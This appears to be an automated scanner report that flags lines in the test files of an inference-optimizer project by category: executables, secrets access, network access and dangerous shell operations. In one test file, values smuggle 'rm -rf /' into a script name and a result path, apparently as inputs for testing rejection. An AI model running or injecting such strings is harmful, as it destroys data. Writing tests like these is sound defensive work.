[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted]
src/hyperloom/inference_optimizer/speculative_capability.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/_baseline_fakes.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/_dispatch_helpers.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/_geak_helpers.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/_kernel_tools_harness.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/_optimize_fixtures.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/_sglang_gc_patch_tree.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/_workload_envs_helpers.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/conftest.py
- Executable scriptline 1
Executable file - Access to secretsline 630
[Credential-related source omitted] - Access to secretsline 636
[Credential-related source omitted] - Access to secretsline 644
[Credential-related source omitted] - Access to secretsline 697
[Credential-related source omitted] - Access to secretsline 698
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/fixtures/sglang_kernel_layouts/legacy/sgl-kernel/setup_rocm.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/fixtures/sglang_kernel_layouts/v0517_aot/python/sglang/kernels/aot/setup_rocm.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_accuracy_gate_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_accuracy_keep_gate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agent_kb.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agent_roles_and_policy.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_baseline_timeout.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_budget_and_guards.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_checkpoint.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_cli_config.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_context.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_context_and_eval.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_corpus_shape.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_deploy.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_launch_ownership_prompt.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_prefix_cache.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_rebaseline_timeout.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_report_requests.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_switch.py
src/hyperloom/inference_optimizer/tests/test_agentx_timeline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_agentx_variant_timeout.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_aiter_jit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_aiter_jit_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_aiter_moe_pin_filter.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_aiter_serving_once.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_anthropic_credential_registry.py
- Executable scriptline 1
Executable file - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Network accessline 59
anthropic_url, _ = cr._resolve_llm_endpoints() assert anthropic_url == "https://api.anthropic.com" - Network accessline 60
assert anthropic_url == "https://api.anthropic.com" - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 123
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_apply_feedback_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_apply_gpu_power_settings.py
src/hyperloom/inference_optimizer/tests/test_apply_tracelens_patch_multinode_gc.py
- Executable scriptline 1
Executable file - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 243
[Credential-related source omitted] - Access to secretsline 259
[Credential-related source omitted] - Access to secretsline 260
[Credential-related source omitted] - Access to secretsline 261
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_argv_refusal_round.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_atom_kernel_backend_default.py
- Executable scriptline 1
Executable file - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_auto_bench_proposals.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_backend_call_timeout_env.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_backend_gating.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_backfill_langfuse_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_baremetal_doc_version_consistency.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_baseline_aiter_registry_preflight.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_baseline_anchor_interlock.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_baseline_comparison.py
- Executable scriptline 1
Executable file - Network accessline 97
}, "date": "2026-04-17", "run_url": "https://example/runs/x", - Network accessline 98
"date": "2026-04-17", "run_url": "https://example/runs/x", } - Network accessline 99
"run_url": "https://example/runs/x", - Network accessline 678
"reason": "ok", "warning": "", "source": "https://inferencex.semianalysis.com/api/v1", - Network accessline 679
"warning": "", "source": "https://inferencex.semianalysis.com/api/v1", } - Network accessline 680
"source": "https://inferencex.semianalysis.com/api/v1", - Network accessline 773
with pytest.raises(TypeError, match="target is not serialisable"): target_analyzer._write_measured_competitor_target( tmp_path, BaselineQuery(model="m", gpu="mi355x"), [_measured_point()], "https://example.test" - Network accessline 774
target_analyzer._write_measured_competitor_target( tmp_path, BaselineQuery(model="m", gpu="mi355x"), [_measured_point()], "https://example.test" ) - Network accessline 775
tmp_path, BaselineQuery(model="m", gpu="mi355x"), [_measured_point()], "https://example.test"
src/hyperloom/inference_optimizer/tests/test_baseline_comparison_gaps_unit.py
src/hyperloom/inference_optimizer/tests/test_baseline_comparison_types.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_baseline_eval_rooted_failure.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_baseline_failure_summary.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_baseline_moe_runner_fallback.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_baseline_param_overrides.py
- Executable scriptline 1
Executable file - Dangerous shell operationline 71
"sglang_mi300x.sh; rm -rf /", - Dangerous shell operationline 96
"/tmp/leak;rm -rf /", - Access to secretsline 620
[Credential-related source omitted] - Access to secretsline 633
[Credential-related source omitted] - Dangerous shell operationline 706
"result_dir": "/tmp/leak;rm -rf /",
src/hyperloom/inference_optimizer/tests/test_baseline_quality_ref_gate_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_baseline_warmup_double_run.py
src/hyperloom/inference_optimizer/tests/test_benchmark_result.py
- Executable scriptline 1
Executable file - Dangerous shell operationline 554
"""Without an env override, the default scan roots also cover ``$INFERENCEX_PATH`` (eval ``mv ./`` lands in the checkout) and ``$RESULT_DIR``, not just ``/workspace``.""" - Dangerous shell operationline 571
"""#927: eval ``results*.json`` that leaked to ``$INFERENCEX_PATH`` (via ``append_lm_eval_summary``'s ``mv ./``) is harvested back into the session, so ``parse_eval_results`` (globs ``**/results*.json``) can still find it even when the patc
src/hyperloom/inference_optimizer/tests/test_benchmark_result_branches_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_breakdown_assembler_compose.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_breakdown_event_base.py
src/hyperloom/inference_optimizer/tests/test_breakdown_exporter_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_breakdown_metadata_record.py
- Executable scriptline 1
Executable file - Network accessline 254
record_metadata_langfuse( tmp_path, {"enabled": True, "trace_id": "tr-1", "config": {"host": "https://lf.example.com/"}, "counts": {"spans": 12}}, - Network accessline 255
tmp_path, {"enabled": True, "trace_id": "tr-1", "config": {"host": "https://lf.example.com/"}, "counts": {"spans": 12}}, ) - Network accessline 256
{"enabled": True, "trace_id": "tr-1", "config": {"host": "https://lf.example.com/"}, "counts": {"spans": 12}}, - Network accessline 257
) langfuse = assemble_parts(tmp_path)[SECTION]["langfuse"] assert langfuse["trace_url"] == "https://lf.example.com/trace/tr-1" - Network accessline 258
langfuse = assemble_parts(tmp_path)[SECTION]["langfuse"] assert langfuse["trace_url"] == "https://lf.example.com/trace/tr-1" assert langfuse["counts"] == {"spans": 12} - Network accessline 259
assert langfuse["trace_url"] == "https://lf.example.com/trace/tr-1" - Access to secretsline 277
[Credential-related source omitted] - Access to secretsline 279
[Credential-related source omitted] - Access to secretsline 321
[Credential-related source omitted] - Access to secretsline 323
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_breakdown_recorder_no_subprocess_writers.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_breakdown_recorder_trace.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_breakdown_renderers.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_breakdown_report_integrity.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_breakdown_variant_funnel.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_bringup_round_scenario.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_build_lifecycle.py
- Executable scriptline 1
Executable file - Network accessline 43
capability="fp4_moe", ref="v0.1.0", repo_url="https://github.com/ROCm/aiter", - Network accessline 44
ref="v0.1.0", repo_url="https://github.com/ROCm/aiter", gpu_arch="gfx950", - Network accessline 45
repo_url="https://github.com/ROCm/aiter", - Network accessline 92
action = _action(repo_url="https://github.com/ROCm/aiter.git", ref="v1", gpu_arch="gfx950") - Network accessline 93
persisted = json.dumps(["aiter", "https://github.com/rocm/aiter", "fp4_moe", "v1", "gfx950", []], sort_keys=True) - Network accessline 494
component="aiter", capability="fp4_moe", repo_url="https://github.com/ROCm/aiter", - Network accessline 495
capability="fp4_moe", repo_url="https://github.com/ROCm/aiter", ref="v0.1.0", - Network accessline 496
repo_url="https://github.com/ROCm/aiter",
src/hyperloom/inference_optimizer/tests/test_bus_delivery.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_bus_robustness.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_bypass_analysis.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_bypass_backend.py
- Executable scriptline 1
Executable file - Network accessline 86
def test_server_reusable_classifies_boot_reuse_and_foreign(monkeypatch, tmp_path): monkeypatch.setattr(bypass_engine, "server_health_ok", lambda base_url: False) assert bypass_runner._server_reusable("http://127.0.0.1:8888", str(tmp - Network accessline 88
assert bypass_runner._server_reusable("http://127.0.0.1:8888", str(tmp_path), "sglang", 8888) == bypass_runner._BOOT - Network accessline 95
) assert ( bypass_runner._server_reusable("http://127.0.0.1:8888", str(tmp_path), "sglang", 8888) == bypass_runner._REUSE - Network accessline 96
assert ( bypass_runner._server_reusable("http://127.0.0.1:8888", str(tmp_path), "sglang", 8888) == bypass_runner._REUSE ) - Network accessline 97
bypass_runner._server_reusable("http://127.0.0.1:8888", str(tmp_path), "sglang", 8888) == bypass_runner._REUSE - Network accessline 104
) assert ( bypass_runner._server_reusable("http://127.0.0.1:8888", str(tmp_path), "sglang", 8888) == bypass_runner._FOREIGN - Network accessline 105
assert ( bypass_runner._server_reusable("http://127.0.0.1:8888", str(tmp_path), "sglang", 8888) == bypass_runner._FOREIGN ) - Network accessline 106
bypass_runner._server_reusable("http://127.0.0.1:8888", str(tmp_path), "sglang", 8888) == bypass_runner._FOREIGN - Network accessline 226
python_exe="PY", model="/m", base_url="http://127.0.0.1:8888", - Network accessline 227
model="/m", base_url="http://127.0.0.1:8888", isl=128, - Network accessline 228
base_url="http://127.0.0.1:8888", - Network accessline 236
assert cmd[0] == "PY" assert cmd[1] == "/ix/utils/bench_serving/benchmark_serving.py" assert "--base-url" in cmd and "http://127.0.0.1:8888" in cmd - Network accessline 237
assert cmd[1] == "/ix/utils/bench_serving/benchmark_serving.py" assert "--base-url" in cmd and "http://127.0.0.1:8888" in cmd assert "--num-prompts" in cmd and "40" in cmd # conc*10 - Network accessline 238
assert "--base-url" in cmd and "http://127.0.0.1:8888" in cmd - Network accessline 244
cmd = bypass_engine.build_eval_command( bypass_engine.EvalRun( python_exe="PY", model="/m", base_url="http://127.0.0.1:8888", conc=8, out_dir="/ws/lm_eval" - Network accessline 245
bypass_engine.EvalRun( python_exe="PY", model="/m", base_url="http://127.0.0.1:8888", conc=8, out_dir="/ws/lm_eval" ) - Network accessline 246
python_exe="PY", model="/m", base_url="http://127.0.0.1:8888", conc=8, out_dir="/ws/lm_eval" - Network accessline 250
assert "--tasks" in cmd and "gsm8k" in cmd joined = " ".join(cmd) assert "base_url=http://127.0.0.1:8888/v1/completions" in joined - Network accessline 252
assert "base_url=http://127.0.0.1:8888/v1/completions" in joined - Network accessline 258
python_exe="PY", model="/m", base_url="http://127.0.0.1:8888/", - Network accessline 259
model="/m", base_url="http://127.0.0.1:8888/", conc=2, - Network accessline 260
base_url="http://127.0.0.1:8888/", - Network accessline 267
assert "--limit" not in cmd assert "gsm8k,truthfulqa" in cmd assert "base_url=http://127.0.0.1:8888/v1/completions" in " ".join(cmd) - Network accessline 269
assert "base_url=http://127.0.0.1:8888/v1/completions" in " ".join(cmd) - Network accessline 318
_fake_clock(monkeypatch) ok = bypass_engine.wait_for_server_ready( "http://127.0.0.1:8888", - Network accessline 319
ok = bypass_engine.wait_for_server_ready( "http://127.0.0.1:8888", timeout_s=100.0, - Network accessline 320
"http://127.0.0.1:8888", - Network accessline 337
_fake_clock(monkeypatch) ok = bypass_engine.wait_for_server_ready( "http://127.0.0.1:8888", - Network accessline 338
ok = bypass_engine.wait_for_server_ready( "http://127.0.0.1:8888", timeout_s=3600.0, - Network accessline 339
"http://127.0.0.1:8888", - Network accessline 350
_fake_clock(monkeypatch, [0.0, 1.0, 2.0, 3.0, 100.0]) ok = bypass_engine.wait_for_server_ready( "http://127.0.0.1:8888", - Network accessline 351
ok = bypass_engine.wait_for_server_ready( "http://127.0.0.1:8888", timeout_s=5.0, - Network accessline 352
"http://127.0.0.1:8888", - Network accessline 607
meta = json.loads(metaf.read_text(encoding="utf-8")) assert meta["pid"] == 123 and meta["port"] == 8888 assert meta["base_url"] == "http://127.0.0.1:8888" - Network accessline 608
assert meta["pid"] == 123 and meta["port"] == 8888 assert meta["base_url"] == "http://127.0.0.1:8888" assert bypass_engine.lifecycle_files_present(pid_dir, "vllm", 8888) is True - Network accessline 609
assert meta["base_url"] == "http://127.0.0.1:8888" - Network accessline 614
probed: list[str] = [] monkeypatch.setattr(bypass_engine, "_probe_health", lambda u: probed.append(u) or 200) assert bypass_engine.server_health_ok("http://127.0.0.1:8888/") is True - Network accessline 615
monkeypatch.setattr(bypass_engine, "_probe_health", lambda u: probed.append(u) or 200) assert bypass_engine.server_health_ok("http://127.0.0.1:8888/") is True assert probed == ["http://127.0.0.1:8888/health"] - Network accessline 616
assert bypass_engine.server_health_ok("http://127.0.0.1:8888/") is True - Network accessline 617
assert probed == ["http://127.0.0.1:8888/health"] - Network accessline 619
assert bypass_engine.server_health_ok("http://127.0.0.1:8888") is False - Network accessline 624
monkeypatch.setattr(bypass_engine, "_probe_health", boom) assert bypass_engine.server_health_ok("http://127.0.0.1:8888") is False - Network accessline 625
assert bypass_engine.server_health_ok("http://127.0.0.1:8888") is False - Network accessline 980
monkeypatch.setenv("BENCHMARK_BASE_URL", "http://head-pod:8888") - Network accessline 1009
assert rc == 0 assert launched["n"] == 0 # no local server launched assert captured.get("base_url") == "http://head-pod:8888" # client hit remote - Network accessline 1010
assert launched["n"] == 0 # no local server launched assert captured.get("base_url") == "http://head-pod:8888" # client hit remote ws = sorted((tmp_path / "out").glob("benchmark_sglang_*"))[-1] - Network accessline 1011
assert captured.get("base_url") == "http://head-pod:8888" # client hit remote - Access to secretsline 1296
[Credential-related source omitted] - Access to secretsline 1318
[Credential-related source omitted] - Network accessline 1536
monkeypatch.setenv("BENCHMARK_BASE_URL", "http://head-pod:8888") - Access to secretsline 1593
[Credential-related source omitted] - Access to secretsline 1596
[Credential-related source omitted] - Network accessline 1637
bench_envs={"RUN_EVAL": "false"}, server_log=tmp_path / "server.log", base_url="http://127.0.0.1:8888", - Network accessline 1638
server_log=tmp_path / "server.log", base_url="http://127.0.0.1:8888", timeout_s=60.0, - Network accessline 1639
base_url="http://127.0.0.1:8888", - Network accessline 1677
bench_envs={"RUN_EVAL": "false"}, server_log=tmp_path / "server.log", base_url="http://127.0.0.1:8888", - Network accessline 1678
server_log=tmp_path / "server.log", base_url="http://127.0.0.1:8888", timeout_s=60.0, - Network accessline 1679
base_url="http://127.0.0.1:8888",
src/hyperloom/inference_optimizer/tests/test_bypass_engine.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_bypass_report.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_canonical_id_5tuple.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_ci_e2e_concurrency_guard.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_claude_backend.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_claude_backend_branches_unit.py
- Executable scriptline 1
Executable file - Network accessline 224
"""The diagnostic is appended to an on-disk trace, and a base URL of the form ``https://user:key@gw/...`` puts the key in netloc.""" - Network accessline 225
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://user:s3cret@gw.example.com:8443/api/v1")
src/hyperloom/inference_optimizer/tests/test_claude_backend_helpers_coverage_unit.py
- Executable scriptline 1
Executable file - Network accessline 67
def test_build_options_pins_gateway_env_and_ignores_global_settings(monkeypatch) -> None: monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.example.invalid/anthropic") - Network accessline 68
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.example.invalid/anthropic") - Access to secretsline 69
[Credential-related source omitted] - Network accessline 77
assert opts.kwargs["setting_sources"] == [] child_env = opts.kwargs["env"] assert child_env["ANTHROPIC_BASE_URL"] == "https://llm.example.invalid/anthropic" - Network accessline 78
child_env = opts.kwargs["env"] assert child_env["ANTHROPIC_BASE_URL"] == "https://llm.example.invalid/anthropic" assert child_env["ANTHROPIC_CUSTOM_HEADERS"] == "Ocp-Apim-Subscription-Key: sub-key" - Network accessline 79
assert child_env["ANTHROPIC_BASE_URL"] == "https://llm.example.invalid/anthropic" - Access to secretsline 99
[Credential-related source omitted] - Network accessline 100
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Network accessline 101
monkeypatch.delenv("ANTHROPIC_CUSTOM_HEADERS", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.example.invalid/Unified/v1") monkeypatch.setenv("OPENAI_API_KEY", "openai-key") - Network accessline 102
monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.example.invalid/Unified/v1") - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_claude_turn_wall_clock.py
src/hyperloom/inference_optimizer/tests/test_claude_unparsed_tool_input_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_cli_backends_unit.py
- Executable scriptline 1
Executable file - Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Network accessline 34
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") - Network accessline 35
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Network accessline 36
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.deepseek.com/v1") - Access to secretsline 37
[Credential-related source omitted] - Network accessline 104
def test_build_backends_anthropic_only_uses_native_critic_agent(monkeypatch) -> None: _clear_provider_env(monkeypatch) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 105
_clear_provider_env(monkeypatch) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") monkeypatch.setenv("ANTHROPIC_API_KEY", "test-anthropic-key") - Network accessline 106
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 132
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Network accessline 157
_clear_provider_env(monkeypatch) monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 158
monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 170
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://gw.example.com/anthropic") - Access to secretsline 183
[Credential-related source omitted] - Network accessline 250
def test_build_backends_openai_only_uses_codex_for_orchestration(monkeypatch) -> None: _clear_provider_env(monkeypatch) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 251
_clear_provider_env(monkeypatch) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") monkeypatch.setenv("OPENAI_API_KEY", "test-openai-key") - Network accessline 252
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Access to secretsline 253
[Credential-related source omitted] - Network accessline 332
def test_proposal_scorer_disabled_by_default(monkeypatch) -> None: monkeypatch.delenv("ANTHROPIC_BASE_URL", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 333
monkeypatch.delenv("ANTHROPIC_BASE_URL", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") args = argparse.Namespace(proposal_scoring=False, proposal_scorer_models=None) - Network accessline 334
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 339
def test_proposal_scorer_disabled_for_anthropic_only(monkeypatch) -> None: _clear_provider_env(monkeypatch) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 340
_clear_provider_env(monkeypatch) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") args = argparse.Namespace( - Network accessline 341
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 349
def test_proposal_scorer_empty_models_returns_none(monkeypatch) -> None: monkeypatch.delenv("ANTHROPIC_BASE_URL", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 350
monkeypatch.delenv("ANTHROPIC_BASE_URL", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") args = argparse.Namespace( - Network accessline 351
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 363
monkeypatch.delenv("ANTHROPIC_BASE_URL", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 364
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 372
def test_proposal_scorer_explicit_models(monkeypatch) -> None: monkeypatch.delenv("ANTHROPIC_BASE_URL", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 373
monkeypatch.delenv("ANTHROPIC_BASE_URL", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") monkeypatch.setattr(clib, "ProposalScorer", lambda **kw: ("scorer", kw)) - Network accessline 374
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 411
monkeypatch.delenv("ANTHROPIC_BASE_URL", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 412
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1")
src/hyperloom/inference_optimizer/tests/test_cli_bootstrap.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_cli_bootstrap_coverage_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_cli_conc_sweep_default.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_cli_executors_wiring.py
src/hyperloom/inference_optimizer/tests/test_cli_kb_unit.py
src/hyperloom/inference_optimizer/tests/test_cli_mn_backend.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_cli_phase_toggles.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_cli_plug_wiring.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_cli_recipe_kb_dispatcher.py
src/hyperloom/inference_optimizer/tests/test_cli_resume_launch_shape.py
- Executable scriptline 1
Executable file - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 248
[Credential-related source omitted] - Access to secretsline 263
[Credential-related source omitted] - Access to secretsline 264
[Credential-related source omitted] - Access to secretsline 308
[Credential-related source omitted] - Access to secretsline 324
[Credential-related source omitted] - Access to secretsline 334
[Credential-related source omitted] - Access to secretsline 335
[Credential-related source omitted] - Access to secretsline 345
[Credential-related source omitted] - Access to secretsline 346
[Credential-related source omitted] - Access to secretsline 352
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Access to secretsline 390
[Credential-related source omitted] - Access to secretsline 391
[Credential-related source omitted] - Access to secretsline 450
[Credential-related source omitted] - Access to secretsline 451
[Credential-related source omitted] - Access to secretsline 452
[Credential-related source omitted] - Access to secretsline 453
[Credential-related source omitted] - Access to secretsline 472
[Credential-related source omitted] - Access to secretsline 473
[Credential-related source omitted] - Access to secretsline 474
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_cli_strict_parsing.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_cli_workload_envs.py
- Executable scriptline 1
Executable file - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 360
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Access to secretsline 364
[Credential-related source omitted] - Access to secretsline 365
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_close_phase_sequencer.py
- Executable scriptline 1
Executable file - Network accessline 1490
} monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "remote") monkeypatch.setenv("KB_STORE_URL", "https://kb-store.example.test") - Network accessline 1491
monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "remote") monkeypatch.setenv("KB_STORE_URL", "https://kb-store.example.test") monkeypatch.setenv("KB_STORE_TOKEN", "test-token") - Network accessline 1492
monkeypatch.setenv("KB_STORE_URL", "https://kb-store.example.test")
src/hyperloom/inference_optimizer/tests/test_close_stack_revalidation.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_codex_intent_transport.py
- Executable scriptline 1
Executable file - Network accessline 358
[Credential-related source omitted] - Network accessline 359
[Credential-related source omitted] - Access to secretsline 359
[Credential-related source omitted] - Network accessline 360
"OPENAI_BASE_URL": "https://gateway.invalid/v1", - Network accessline 388
[Credential-related source omitted] - Network accessline 389
[Credential-related source omitted] - Access to secretsline 389
[Credential-related source omitted] - Network accessline 390
"OPENAI_BASE_URL": "https://gateway.invalid/v1",
src/hyperloom/inference_optimizer/tests/test_codex_prompt_transport.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_coerce.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_column_kb.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_common_import_lint.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_common_provenance.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_common_utils.py
- Executable scriptline 1
Executable file - Network accessline 174
assert derive_openai_base_url(None) is None assert derive_openai_base_url(" ") is None assert derive_openai_base_url("https://gw.example/Unified") == "https://gw.example/Unified/v1" - Network accessline 175
